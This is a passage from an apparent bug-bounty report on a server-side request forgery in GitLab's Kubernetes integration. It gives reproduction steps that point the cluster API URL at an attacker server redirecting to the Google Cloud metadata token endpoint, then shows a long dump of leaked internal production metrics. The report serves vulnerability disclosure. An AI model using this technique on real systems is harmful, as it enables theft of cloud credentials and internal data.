12:b3:75:c6:5f:1d:e1:61:55:80:00:d4:81:4b:7b:31:0f:23:
63:e7:3d:f3:03:f9:f4:36:a8:bb:d9:e3:a5:97:4d:ea:2b:29:
e0:d6:6a:73:81:e6:c0:89:a3:d3:f1:e0:a5:a5:22:37:9a:63:
c2:48:20:b4:db:72:e3:c8:f6:d9:7c:be:b1:af:53:da:14:b4:
21:b8:d6:d5:96:e3:fe:4e:0c:59:62:b6:9a:4a:f9:42:dd:8c:
6f:81:a9:71:ff:f4:0a:72:6d:6d:44:0e:9d:f3:74:74:a8:d5:
34:49:e9:5e:9e:e9:b4:7a:e1:e5:5a:1f:84:30:9c:d3:9f:a5:
25:d8
MD5 Fingerprint=C4:D7:F0:B2:A3:C5:7D:61:67:F0:04:CD:43:D3:BA:58
-----BEGIN CERTIFICATE-----
MIIB+jCCAWMCAgGjMA0GCSqGSIb3DQEBBAUAMEUxCzAJBgNVBAYTAlVTMRgwFgYD
VQQKEw9HVEUgQ29ycG9yYXRpb24xHDAaBgNVBAMTE0dURSBDeWJlclRydXN0IFJv
b3QwHhcNOTYwMjIzMjMwMTAwWhcNMDYwMjIzMjM1OTAwWjBFMQswCQYDVQQGEwJV
UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMRwwGgYDVQQDExNHVEUgQ3liZXJU
cnVzdCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC45k+625h8cXyv
RLfTD0bZZOWTwUKOx7pJjTUteueLveUFMVnGsS8KDPufpz+iCWaEVh43KRuH6X4M
ypqfpX/1FZSj1aJGgthoTNE3FQZor734sLPwKfWVWgkWYXcKIiXUT0Wqx73llt/5
1KiOQswkwB6RJ0q1bQaAYznEol44AwIDAQABMA0GCSqGSIb3DQEBBAUAA4GBABKz
dcZfHeFhVYAA1IFLezEPI2PnPfMD+fQ2qLvZ46WXTeorKeDWanOB5sCJo9Px4KWl
IjeaY8JIILTbcuPI9tl8vrGvU9oUtCG41tWW4/5ODFlitppK+ULdjG+BqXH/9Apy
bW1EDp3zdHSo1TRJ6V6e6bR64eVaH4QwnNOfpSXY
-----END CERTIFICATE-----
- cluster name set to
hihi
- click save changes
- then visit https://gitlab.com/{project_id}/clusters/{cluster_id}
- there should be a
Helm Tiller Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts.
- Click install
- reload the page, GCP token in the response
Impact
SSRF to steal GCP token and get a hold of all metadata
Timeline:
2018-09-12 01:58:10 +0000: @ngalog (comment)
The reason the API url should be http://165.227.53.194/ is that this kubernete integration will append /api/v1
to the end of the url
There is no way to bypass this, so I decided to make a 302 redirect to http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=text
And it follows the redirection, thus making it possible to leak the token in error message.
Also, alt=text
is important, otherwise the integration will try to parse the json in response and won't show any error message in the response.
127.0.0.1:9100 is reachable too
Something went wrong while installing Helm Tiller
Can't start installation process. 784: unexpected token at '# HELP chef_client_duration_seconds The duration of chef-client run in seconds. # TYPE chef_client_duration_seconds gauge chef_client_duration_seconds 73.800956883 # HELP chef_client_error The bool error status of the last chef-client run. # TYPE chef_client_error gauge chef_client_error 0 # HELP chef_client_last_run_timestamp_seconds The unix timestamp of the finish of the last chef-client run. # TYPE chef_client_last_run_timestamp_seconds gauge chef_client_last_run_timestamp_seconds 1.536715908e+09 # HELP chef_client_resources The number of all resources in the run context. # TYPE chef_client_resources gauge chef_client_resources 911 # HELP chef_client_roles The list of all roles currently applied to the node. # TYPE chef_client_roles gauge chef_client_roles{role="gprd-base"} 1 chef_client_roles{role="gprd-base-be"} 1 chef_client_roles{role="gprd-base-be-sidekiq"} 1 chef_client_roles{role="gprd-base-be-sidekiq-besteffort"} 1 chef_client_roles{role="gprd-omnibus-version"} 1 # HELP chef_client_updated_resources The number of all updated resources in the run context. # TYPE chef_client_updated_resources gauge chef_client_updated_resources 13 # HELP go_gc_duration_seconds A summary of the GC invocation durations. # TYPE go_gc_duration_seconds summary go_gc_duration_seconds{quantile="0"} 8.1164e-05 go_gc_duration_seconds{quantile="0.25"} 0.00019258 go_gc_duration_seconds{quantile="0.5"} 0.000258149 go_gc_duration_seconds{quantile="0.75"} 0.000343219 go_gc_duration_seconds{quantile="1"} 0.001156452 go_gc_duration_seconds_sum 349.058584382 go_gc_duration_seconds_count 491091 # HELP go_goroutines Number of goroutines that currently exist. # TYPE go_goroutines gauge go_goroutines 9 # HELP go_info Information about the Go environment. # TYPE go_info gauge go_info{version="go1.9.6"} 1 # HELP go_memstats_alloc_bytes Number of bytes allocated and still in use. # TYPE go_memstats_alloc_bytes gauge go_memstats_alloc_bytes 3.765656e+06 # HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed. # TYPE go_memstats_alloc_bytes_total counter go_memstats_alloc_bytes_total 7.82973847776e+11 # HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table. # TYPE go_memstats_buck_hash_sys_bytes gauge go_memstats_buck_hash_sys_bytes 2.343992e+06 # HELP go_memstats_frees_total Total number of frees. # TYPE go_memstats_frees_total counter go_memstats_frees_total 7.076809671e+09 # HELP go_memstats_gc_cpu_fraction The fraction of this program's available CPU time used by the GC since the program started. # TYPE go_memstats_gc_cpu_fraction gauge go_memstats_gc_cpu_fraction 0.00032206382740157123 # HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata. # TYPE go_memstats_gc_sys_bytes gauge go_memstats_gc_sys_bytes 7.098368e+06 # HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use. # TYPE go_memstats_heap_alloc_bytes gauge go_memstats_heap_alloc_bytes 3.765656e+06 # HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used. # TYPE go_memstats_heap_idle_bytes gauge go_memstats_heap_idle_bytes 1.84262656e+08 # HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use. # TYPE go_memstats_heap_inuse_bytes gauge go_memstats_heap_inuse_bytes 5.988352e+06 # HELP go_memstats_heap_objects Number of allocated objects. # TYPE go_memstats_heap_objects gauge go_memstats_heap_objects 20281 # HELP go_memstats_heap_released_bytes Number of heap bytes released to OS. # TYPE go_memstats_heap_released_bytes gauge go_memstats_heap_released_bytes 1.81592064e+08 # HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system. # TYPE go_memstats_heap_sys_bytes gauge go_memstats_heap_sys_bytes 1.90251008e+08 # HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection. # TYPE go_memstats_last_gc_time_seconds gauge go_memstats_last_gc_time_seconds 1.5367179599140475e+09 # HELP go_memstats_lookups_total Total number of pointer lookups. # TYPE go_memstats_lookups_total counter go_memstats_lookups_total 3.4255744e+07 # HELP go_memstats_mallocs_total Total number of mallocs. # TYPE go_memstats_mallocs_total counter go_memstats_mallocs_total 7.076829952e+09 # HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures. # TYPE go_memstats_mcache_inuse_bytes gauge go_memstats_mcache_inuse_bytes 13888 # HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system. # TYPE go_memstats_mcache_sys_bytes gauge go_memstats_mcache_sys_bytes 16384 # HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures. # TYPE go_memstats_mspan_inuse_bytes gauge go_memstats_mspan_inuse_bytes 119776 # HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system. # TYPE go_memstats_mspan_sys_bytes gauge go_memstats_mspan_sys_bytes 1.769472e+06 # HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place. # TYPE go_memstats_next_gc_bytes gauge go_memstats_next_gc_bytes 6.850832e+06 # HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations. # TYPE go_memstats_other_sys_bytes gauge go_memstats_other_sys_bytes 1.606848e+06 # HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator. # TYPE go_memstats_stack_inuse_bytes gauge go_memstats_stack_inuse_bytes 1.6384e+06 # HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator. # TYPE go_memstats_stack_sys_bytes gauge go_memstats_stack_sys_bytes 1.6384e+06 # HELP go_memstats_sys_bytes Number of bytes obtained from system. # TYPE go_memstats_sys_bytes gauge go_memstats_sys_bytes 2.04724472e+08 # HELP go_threads Number of OS threads created. # TYPE go_threads gauge go_threads 40 # HELP node_arp_entries ARP entries by device # TYPE node_arp_entries gauge node_arp_entries{device="ens4"} 1 # HELP node_boot_time_seconds Node boot time, in unixtime. # TYPE node_boot_time_seconds gauge node_boot_time_seconds 1.532961705e+09 # HELP node_context_switches_total Total number of context switches. # TYPE node_context_switches_total counter node_context_switches_total 2.735432708e+10 # HELP node_cpu_guest_seconds_total Seconds the cpus spent in guests (VMs) for each mode. # TYPE node_cpu_guest_seconds_total counter node_cpu_guest_seconds_total{cpu="0",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="0",mode="user"} 0 node_cpu_guest_seconds_total{cpu="1",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="1",mode="user"} 0 node_cpu_guest_seconds_total{cpu="2",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="2",mode="user"} 0 node_cpu_guest_seconds_total{cpu="3",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="3",mode="user"} 0 node_cpu_guest_seconds_total{cpu="4",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="4",mode="user"} 0 node_cpu_guest_seconds_total{cpu="5",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="5",mode="user"} 0 node_cpu_guest_seconds_total{cpu="6",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="6",mode="user"} 0 node_cpu_guest_seconds_total{cpu="7",mode="nice"} 0 node_cpu_guest_seconds_total{cpu="7",mode="user"} 0 # HELP node_cpu_seconds_total Seconds the cpus spent in each mode. # TYPE node_cpu_seconds_total counter node_cpu_seconds_total{cpu="0",mode="idle"} 3.33740243e+06 node_cpu_seconds_total{cpu="0",mode="iowait"} 4426.52 node_cpu_seconds_total{cpu="0",mode="irq"} 0 node_cpu_seconds_total{cpu="0",mode="nice"} 568.97 node_cpu_seconds_total{cpu="0",mode="softirq"} 67659.08 node_cpu_seconds_total{cpu="0",mode="steal"} 0 node_cpu_seconds_total{cpu="0",mode="system"} 105554.6 node_cpu_seconds_total{cpu="0",mode="user"} 268679.72 node_cpu_seconds_total{cpu="1",mode="idle"} 3.33199918e+06 node_cpu_seconds_total{cpu="1",mode="iowait"} 2857.32 node_cpu_seconds_total{cpu="1",mode="irq"} 0 node_cpu_seconds_total{cpu="1",mode="nice"} 151.1 node_cpu_seconds_total{cpu="1",mode="softirq"} 38870.37 node_cpu_seconds_total{cpu="1",mode="steal"} 0 node_cpu_seconds_total{cpu="1",mode="system"} 103696.2 node_cpu_seconds_total{cpu="1",mode="user"} 285404.08 node_cpu_seconds_total{cpu="2",mode="idle"} 3.32574213e+06 node_cpu_seconds_total{cpu="2",mode="iowait"} 2485.89 node_cpu_seconds_total{cpu="2",mode="irq"} 0 node_cpu_seconds_total{cpu="2",mode="nice"} 113.21 node_cpu_seconds_total{cpu="2",mode="softirq"} 26365.02 node_cpu_seconds_total{cpu="2",mode="steal"} 0 node_cpu_seconds_total{cpu="2",mode="system"} 103096.27 node_cpu_seconds_total{cpu="2",mode="user"} 293951.17 node_cpu_seconds_total{cpu="3",mode="idle"} 3.32528796e+06 node_cpu_seconds_total{cpu="3",mode="iowait"} 2491.87 node_cpu_seconds_total{cpu="3",mode="irq"} 0 node_cpu_seconds_total{cpu="3",mode="nice"} 128.94 node_cpu_seconds_total{cpu="3",mode="softirq"} 19231.55 node_cpu_seconds_total{cpu="3",mode="steal"} 0 node_cpu_seconds_total{cpu="3",mode="system"} 103500.75 node_cpu_seconds_total{cpu="3",mode="user"} 295053.16 node_cpu_seconds_total{cpu="4",mode="idle"} 3.34120779e+06 node_cpu_seconds_total{cpu="4",mode="iowait"} 2670.73 node_cpu_seconds_total{cpu="4",mode="irq"} 0 node_cpu_seconds_total{cpu="4",mode="nice"} 140.76 node_cpu_seconds_total{cpu="4",mode="softirq"} 15883.82 node_cpu_seconds_total{cpu="4",mode="steal"} 0 node_cpu_seconds_total{cpu="4",mode="system"} 102715.38 node_cpu_seconds_total{cpu="4",mode="user"} 278959.76 node_cpu_seconds_total{cpu="5",mode="idle"} 3.3400302e+06 node_cpu_seconds_total{cpu="5",mode="iowait"} 2647.05 node_cpu_seconds_total{cpu="5",mode="irq"} 0 node_cpu_seconds_total{cpu="5",mode="nice"} 90.54 node_cpu_seconds_total{cpu="5",mode="softirq"} 12729.78 node_cpu_seconds_total{cpu="5",mode="steal"} 0 node_cpu_seconds_total{cpu="5",mode="system"} 102880.09 node_cpu_seconds_total{cpu="5",mode="user"} 281040.15 node_cpu_seconds_total{cpu="6",mode="idle"} 3.3430813e+06 node_cpu_seconds_total{cpu="6",mode="iowait"} 2369.44 node_cpu_seconds_total{cpu="6",mode="irq"} 0 node_cpu_seconds_total{cpu="6",mode="nice"} 99.98 node_cpu_seconds_total{cpu="6",mode="softirq"} 11243.19 node_cpu_seconds_total{cpu="6",mode="steal"} 0 node_cpu_seconds_total{cpu="6",mode="system"} 102123.9 node_cpu_seconds_total{cpu="6",mode="user"} 278119.38 node_cpu_seconds_total{cpu="7",mode="idle"} 3.34286987e+06 node_cpu_seconds_total{cpu="7",mode="iowait"} 2256.88 node_cpu_seconds_total{cpu="7",mode="irq"} 0 node_cpu_seconds_total{cpu="7",mode="nice"} 115.4 node_cpu_seconds_total{cpu="7",mode="softirq"} 9810.98 node_cpu_seconds_total{cpu="7",mode="steal"} 0 node_cpu_seconds_total{cpu="7",mode="system"} 102694.32 node_cpu_seconds_total{cpu="7",mode="user"} 279421.82 # HELP node_disk_io_now The number of I/Os currently in progress. # TYPE node_disk_io_now gauge node_disk_io_now{device="sda"} 0 node_disk_io_now{device="sdb"} 0 # HELP node_disk_io_time_seconds_total Total seconds spent doing I/Os. # TYPE node_disk_io_time_seconds_total counter node_disk_io_time_seconds_total{device="sda"} 4631.932 node_disk_io_time_seconds_total{device="sdb"} 4251.296 # HELP node_disk_io_time_weighted_seconds_total The weighted # of seconds spent doing I/Os. See https://www.kernel.org/doc/Documentation/iostats.txt. # TYPE node_disk_io_time_weighted_seconds_total counter node_disk_io_time_weighted_seconds_total{device="sda"} 241477.408 node_disk_io_time_weighted_seconds_total{device="sdb"} 10458.148000000001 # HELP node_disk_read_bytes_total The total number of bytes read successfully. # TYPE node_disk_read_bytes_total counter node_disk_read_bytes_total{device="sda"} 7.3184156672e+10 node_disk_read_bytes_total{device="sdb"} 4.562004992e+09 # HELP node_disk_read_time_seconds_total The total number of milliseconds spent by all reads. # TYPE node_disk_read_time_seconds_total counter node_disk_read_time_seconds_total{device="sda"} 218325.764 node_disk_read_time_seconds_total{device="sdb"} 292.16 # HELP node_disk_reads_completed_total The total number of reads completed successfully. # TYPE node_disk_reads_completed_total counter node_disk_reads_completed_total{device="sda"} 2.420708e+06 node_disk_reads_completed_total{device="sdb"} 117009 # HELP node_disk_reads_merged_total The total number of reads merged. See https://www.kernel.org/doc/Documentation/iostats.txt. # TYPE node_disk_reads_merged_total counter node_disk_reads_merged_total{device="sda"} 32 node_disk_reads_merged_total{device="sdb"} 81 # HELP node_disk_write_time_seconds_total This is the total number of seconds spent by all writes. # TYPE node_disk_write_time_seconds_total counter node_disk_write_time_seconds_total{device="sda"} 23077.764 node_disk_write_time_seconds_total{device="sdb"} 10145.26 # HELP node_disk_writes_completed_total The total number of writes completed successfully. # TYPE node_disk_writes_completed_total counter node_disk_writes_completed_total{device="sda"} 6.631904e+06 node_disk_writes_completed_total{device="sdb"} 3.296994e+06 # HELP node_disk_writes_merged_total The number of writes merged. See https://www.kernel.org/doc/Documentation/iostats.txt. # TYPE node_disk_writes_merged_total counter node_disk_writes_merged_total{device="sda"} 5.916727e+06 node_disk_writes_merged_total{device="sdb"} 3.258364e+06 # HELP node_disk_written_bytes_total The total number of bytes written successfully. # TYPE node_disk_written_bytes_total counter node_disk_written_bytes_total{device="sda"} 3.6374552576e+11 node_disk_written_bytes_total{device="sdb"} 2.21753831424e+11 # HELP node_entropy_available_bits Bits of available entropy. # TYPE node_entropy_available_bits gauge node_entropy_available_bits 3199 # HELP node_exporter_build_info A metric with a constant '1' value labeled by version, revision, branch, and goversion from which node_exporter was built. # TYPE node_exporter_build_info gauge node_exporter_build_info{branch="HEAD",goversion="go1.9.6",revision="d42bd70f4363dced6b77d8fc311ea57b63387e4f",version="0.16.0"} 1 # HELP node_filefd_allocated File descriptor statistics: allocated. # TYPE node_filefd_allocated gauge node_filefd_allocated 3360 # HELP node_filefd_maximum File descriptor statistics: maximum. # TYPE node_filefd_maximum gauge node_filefd_maximum 1e+06 # HELP node_filesystem_avail_bytes Filesystem space available to non-root users in bytes. # TYPE node_filesystem_avail_bytes gauge node_filesystem_avail_bytes{device="/dev/sda1",fstype="ext4",mountpoint="/"} 1.4540054528e+10 node_filesystem_avail_bytes{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 5.1779305472e+10 node_filesystem_avail_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 2.87500288e+09 node_filesystem_avail_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 5.24288e+06 # HELP node_filesystem_device_error Whether an error occurred while getting statistics for the given device. # TYPE node_filesystem_device_error gauge node_filesystem_device_error{device="/dev/sda1",fstype="ext4",mountpoint="/"} 0 node_filesystem_device_error{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 0 node_filesystem_device_error{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 0 node_filesystem_device_error{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 0 # HELP node_filesystem_files Filesystem total file nodes. # TYPE node_filesystem_files gauge node_filesystem_files{device="/dev/sda1",fstype="ext4",mountpoint="/"} 2.56e+06 node_filesystem_files{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 3.2768e+06 node_filesystem_files{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 3.86025e+06 node_filesystem_files{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 3.86025e+06 # HELP node_filesystem_files_free Filesystem total free file nodes. # TYPE node_filesystem_files_free gauge node_filesystem_files_free{device="/dev/sda1",fstype="ext4",mountpoint="/"} 2.302746e+06 node_filesystem_files_free{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 3.276367e+06 node_filesystem_files_free{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 3.859707e+06 node_filesystem_files_free{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 3.860242e+06 # HELP node_filesystem_free_bytes Filesystem free space in bytes. # TYPE node_filesystem_free_bytes gauge node_filesystem_free_bytes{device="/dev/sda1",fstype="ext4",mountpoint="/"} 1.4556831744e+10 node_filesystem_free_bytes{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 5.1796082688e+10 node_filesystem_free_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 2.87500288e+09 node_filesystem_free_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 5.24288e+06 # HELP node_filesystem_readonly Filesystem read-only status. # TYPE node_filesystem_readonly gauge node_filesystem_readonly{device="/dev/sda1",fstype="ext4",mountpoint="/"} 0 node_filesystem_readonly{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 0 node_filesystem_readonly{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 0 node_filesystem_readonly{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 0 # HELP node_filesystem_size_bytes Filesystem size in bytes. # TYPE node_filesystem_size_bytes gauge node_filesystem_size_bytes{device="/dev/sda1",fstype="ext4",mountpoint="/"} 2.0749852672e+10 node_filesystem_size_bytes{device="/dev/sdb",fstype="ext4",mountpoint="/var/log"} 5.2710469632e+10 node_filesystem_size_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run"} 3.1623168e+09 node_filesystem_size_bytes{device="tmpfs",fstype="tmpfs",mountpoint="/run/lock"} 5.24288e+06 # HELP node_forks_total Total number of forks. # TYPE node_forks_total counter node_forks_total 2.30415695e+08 # HELP node_intr_total Total number of interrupts serviced. # TYPE node_intr_total counter node_intr_total 1.9567897324e+10 # HELP node_load1 1m load average. # TYPE node_load1 gauge node_load1 0.89 # HELP node_load15 15m load average. # TYPE node_load15 gauge node_load15 1.06 # HELP node_load5 5m load average. # TYPE node_load5 gauge node_load5 1.04 # HELP node_memory_Active_anon_bytes Memory information field Active_anon_bytes. # TYPE node_memory_Active_anon_bytes gauge node_memory_Active_anon_bytes 1.3085683712e+10 # HELP node_memory_Active_bytes Memory information field Active_bytes. # TYPE node_memory_Active_bytes gauge node_memory_Active_bytes 1.5458156544e+10 # HELP node_memory_Active_file_bytes Memory information field Active_file_bytes. # TYPE node_memory_Active_file_bytes gauge node_memory_Active_file_bytes 2.372472832e+09 # HELP node_memory_AnonHugePages_bytes Memory information field AnonHugePages_bytes. # TYPE node_memory_AnonHugePages_bytes gauge node_memory_AnonHugePages_bytes 4.69762048e+09 # HELP node_memory_AnonPages_bytes Memory information field AnonPages_bytes. # TYPE node_memory_AnonPages_bytes gauge node_memory_AnonPages_bytes 8.359440384e+09 # HELP node_memory_Bounce_bytes Memory information field Bounce_bytes. # TYPE node_memory_Bounce_bytes gauge node_memory_Bounce_bytes 0 # HELP node_memory_Buffers_bytes Memory information field Buffers_bytes. # TYPE node_memory_Buffers_bytes gauge node_memory_Buffers_bytes 3.224576e+08 # HELP node_memory_Cached_bytes Memory information field Cached_bytes. # TYPE node_memory_Cached_bytes gauge node_memory_Cached_bytes 6.138052608e+09 # HELP node_memory_CmaFree_bytes Memory information field CmaFree_bytes. # TYPE node_memory_CmaFree_bytes gauge node_memory_CmaFree_bytes 0 # HELP node_memory_CmaTotal_bytes Memory information field CmaTotal_bytes. # TYPE node_memory_CmaTotal_bytes gauge node_memory_CmaTotal_bytes 0 # HELP node_memory_CommitLimit_bytes Memory information field CommitLimit_bytes. # TYPE node_memory_CommitLimit_bytes gauge node_memory_CommitLimit_bytes 1.5811584e+10 # HELP node_memory_Committed_AS_bytes Memory information field Committed_AS_bytes. # TYPE node_memory_Committed_AS_bytes gauge node_memory_Committed_AS_bytes 2.851667968e+09 # HELP node_memory_DirectMap1G_bytes Memory information field DirectMap1G_bytes. # TYPE node_memory_DirectMap1G_bytes gauge node_memory_DirectMap1G_bytes 3.221225472e+09 # HELP node_memory_DirectMap2M_bytes Memory information field DirectMap2M_bytes. # TYPE node_memory_DirectMap2M_bytes gauge node_memory_DirectMap2M_bytes 3.0140268544e+10 # HELP node_memory_DirectMap4k_bytes Memory information field DirectMap4k_bytes. # TYPE node_memory_DirectMap4k_bytes gauge node_memory_DirectMap4k_bytes 9.98191104e+08 # HELP node_memory_Dirty_bytes Memory information field Dirty_bytes. # TYPE node_memory_Dirty_bytes gauge node_memory_Dirty_bytes 188416 # HELP node_memory_HardwareCorrupted_bytes Memory information field HardwareCorrupted_bytes. # TYPE node_memory_HardwareCorrupted_bytes gauge node_memory_HardwareCorrupted_bytes 0 # HELP node_memory_HugePages_Free Memory information field HugePages_Free. # TYPE node_memory_HugePages_Free gauge node_memory_HugePages_Free 0 # HELP node_memory_HugePages_Rsvd Memory information field HugePages_Rsvd. # TYPE node_memory_HugePages_Rsvd gauge node_memory_HugePages_Rsvd 0 # HELP node_memory_HugePages_Surp Memory information field HugePages_Surp. # TYPE node_memory_HugePages_Surp gauge node_memory_HugePages_Surp 0 # HELP node_memory_HugePages_Total Memory information field HugePages_Total. # TYPE node_memory_HugePages_Total gauge node_memory_HugePages_Total 0 # HELP node_memory_Hugepagesize_bytes Memory information field Hugepagesize_bytes. # TYPE node_memory_Hugepagesize_bytes gauge node_memory_Hugepagesize_bytes 2.097152e+06 # HELP node_memory_Inactive_anon_bytes Memory information field Inactive_anon_bytes. # TYPE node_memory_Inactive_anon_bytes gauge node_memory_Inactive_anon_bytes 1.04271872e+08 # HELP node_memory_Inactive_bytes Memory information field Inactive_bytes. # TYPE node_memory_Inactive_bytes gauge node_memory_Inactive_bytes 3.90248448e+09 # HELP node_memory_Inactive_file_bytes Memory information field Inactive_file_bytes. # TYPE node_memory_Inactive_file_bytes gauge node_memory_Inactive_file_bytes 3.798212608e+09 # HELP node_memory_KernelStack_bytes Memory information field KernelStack_bytes. # TYPE node_memory_KernelStack_bytes gauge node_memory_KernelStack_bytes 1.1149312e+07 # HELP node_memory_Mapped_bytes Memory information field Mapped_bytes. # TYPE node_memory_Mapped_bytes gauge node_memory_Mapped_bytes 8.0310272e+07 # HELP node_memory_MemAvailable_bytes Memory information field MemAvailable_bytes. # TYPE node_memory_MemAvailable_bytes gauge node_memory_MemAvailable_bytes 1.758763008e+10 # HELP node_memory_MemFree_bytes Memory information field MemFree_bytes. # TYPE node_memory_MemFree_bytes gauge node_memory_MemFree_bytes 1.0749575168e+10 # HELP node_memory_MemTotal_bytes Memory information field MemTotal_bytes. # TYPE node_memory_MemTotal_bytes gauge node_memory_MemTotal_bytes 3.1623168e+10 # HELP node_memory_Mlocked_bytes Memory information field Mlocked_bytes. # TYPE node_memory_Mlocked_bytes gauge node_memory_Mlocked_bytes 3.739648e+06 # HELP node_memory_NFS_Unstable_bytes Memory information field NFS_Unstable_bytes. # TYPE node_memory_NFS_Unstable_bytes gauge node_memory_NFS_Unstable_bytes 0 # HELP node_memory_PageTables_bytes Memory information field PageTables_bytes. # TYPE node_memory_PageTables_bytes gauge node_memory_PageTables_bytes 3.8531072e+07 # HELP node_memory_SReclaimable_bytes Memory information field SReclaimable_bytes. # TYPE node_memory_SReclaimable_bytes gauge node_memory_SReclaimable_bytes 1.128742912e+09 # HELP node_memory_SUnreclaim_bytes Memory information field SUnreclaim_bytes. # TYPE node_memory_SUnreclaim_bytes gauge node_memory_SUnreclaim_bytes 1.72429312e+08 # HELP node_memory_ShmemHugePages_bytes Memory information field ShmemHugePages_bytes. # TYPE node_memory_ShmemHugePages_bytes gauge node_memory_ShmemHugePages_bytes 0 # HELP node_memory_ShmemPmdMapped_bytes Memory information field ShmemPmdMapped_bytes. # TYPE node_memory_ShmemPmdMapped_bytes gauge node_memory_ShmemPmdMapped_bytes 0 # HELP node_memory_Shmem_bytes Memory information field Shmem_bytes. # TYPE node_memory_Shmem_bytes gauge node_memory_Shmem_bytes 2.87342592e+08 # HELP node_memory_Slab_bytes Memory information field Slab_bytes. # TYPE node_memory_Slab_bytes gauge node_memory_Slab_bytes 1.301172224e+09 # HELP node_memory_SwapCached_bytes Memory information field SwapCached_bytes. # TYPE node_memory_SwapCached_bytes gauge node_memory_SwapCached_bytes 0 # HELP node_memory_SwapFree_bytes Memory information field SwapFree_bytes. # TYPE node_memory_SwapFree_bytes gauge node_memory_SwapFree_bytes 0 # HELP node_memory_SwapTotal_bytes Memory information field SwapTotal_bytes. # TYPE node_memory_SwapTotal_bytes gauge node_memory_SwapTotal_bytes 0 # HELP node_memory_Unevictable_bytes Memory information field Unevictable_bytes. # TYPE node_memory_Unevictable_bytes gauge node_memory_Unevictable_bytes 3.739648e+06 # HELP node_memory_VmallocChunk_bytes Memory information field VmallocChunk_bytes. # TYPE node_memory_VmallocChunk_bytes gauge node_memory_VmallocChunk_bytes 0 # HELP node_memory_VmallocTotal_bytes Memory information field VmallocTotal_bytes. # TYPE node_memory_VmallocTotal_bytes gauge node_memory_VmallocTotal_bytes 3.5184372087808e+13 # HELP node_memory_VmallocUsed_bytes Memory information field VmallocUsed_bytes. # TYPE node_memory_VmallocUsed_bytes gauge node_memory_VmallocUsed_bytes 0 # HELP node_memory_WritebackTmp_bytes Memory information field WritebackTmp_bytes. # TYPE node_memory_WritebackTmp_bytes gauge node_memory_WritebackTmp_bytes 0 # HELP node_memory_Writeback_bytes Memory information field Writeback_bytes. # TYPE node_memory_Writeback_bytes gauge node_memory_Writeback_bytes 0 # HELP node_netstat_Icmp6_InErrors Statistic Icmp6InErrors. # TYPE node_netstat_Icmp6_InErrors untyped node_netstat_Icmp6_InErrors 0 # HELP node_netstat_Icmp6_InMsgs Statistic Icmp6InMsgs. # TYPE node_netstat_Icmp6_InMsgs untyped node_netstat_Icmp6_InMsgs 0 # HELP node_netstat_Icmp6_OutMsgs Statistic Icmp6OutMsgs. # TYPE node_netstat_Icmp6_OutMsgs untyped node_netstat_Icmp6_OutMsgs 1045 # HELP node_netstat_Icmp_InErrors Statistic IcmpInErrors. # TYPE node_netstat_Icmp_InErrors untyped node_netstat_Icmp_InErrors 2 # HELP node_netstat_Icmp_InMsgs Statistic IcmpInMsgs. # TYPE node_netstat_Icmp_InMsgs untyped node_netstat_Icmp_InMsgs 5.5188076e+07 # HELP node_netstat_Icmp_OutMsgs Statistic IcmpOutMsgs. # TYPE node_netstat_Icmp_OutMsgs untyped node_netstat_Icmp_OutMsgs 5.2721372e+07 # HELP node_netstat_Ip6_InOctets Statistic Ip6InOctets. # TYPE node_netstat_Ip6_InOctets untyped node_netstat_Ip6_InOctets 91434 # HELP node_netstat_Ip6_OutOctets Statistic Ip6OutOctets. # TYPE node_netstat_Ip6_OutOctets untyped node_netstat_Ip6_OutOctets 150110 # HELP node_netstat_IpExt_InOctets Statistic IpExtInOctets. # TYPE node_netstat_IpExt_InOctets untyped node_netstat_IpExt_InOctets 4.215255435156e+12 # HELP node_netstat_IpExt_OutOctets Statistic IpExtOutOctets. # TYPE node_netstat_IpExt_OutOctets untyped node_netstat_IpExt_OutOctets 4.563864659294e+12 # HELP node_netstat_Ip_Forwarding Statistic IpForwarding. # TYPE node_netstat_Ip_Forwarding 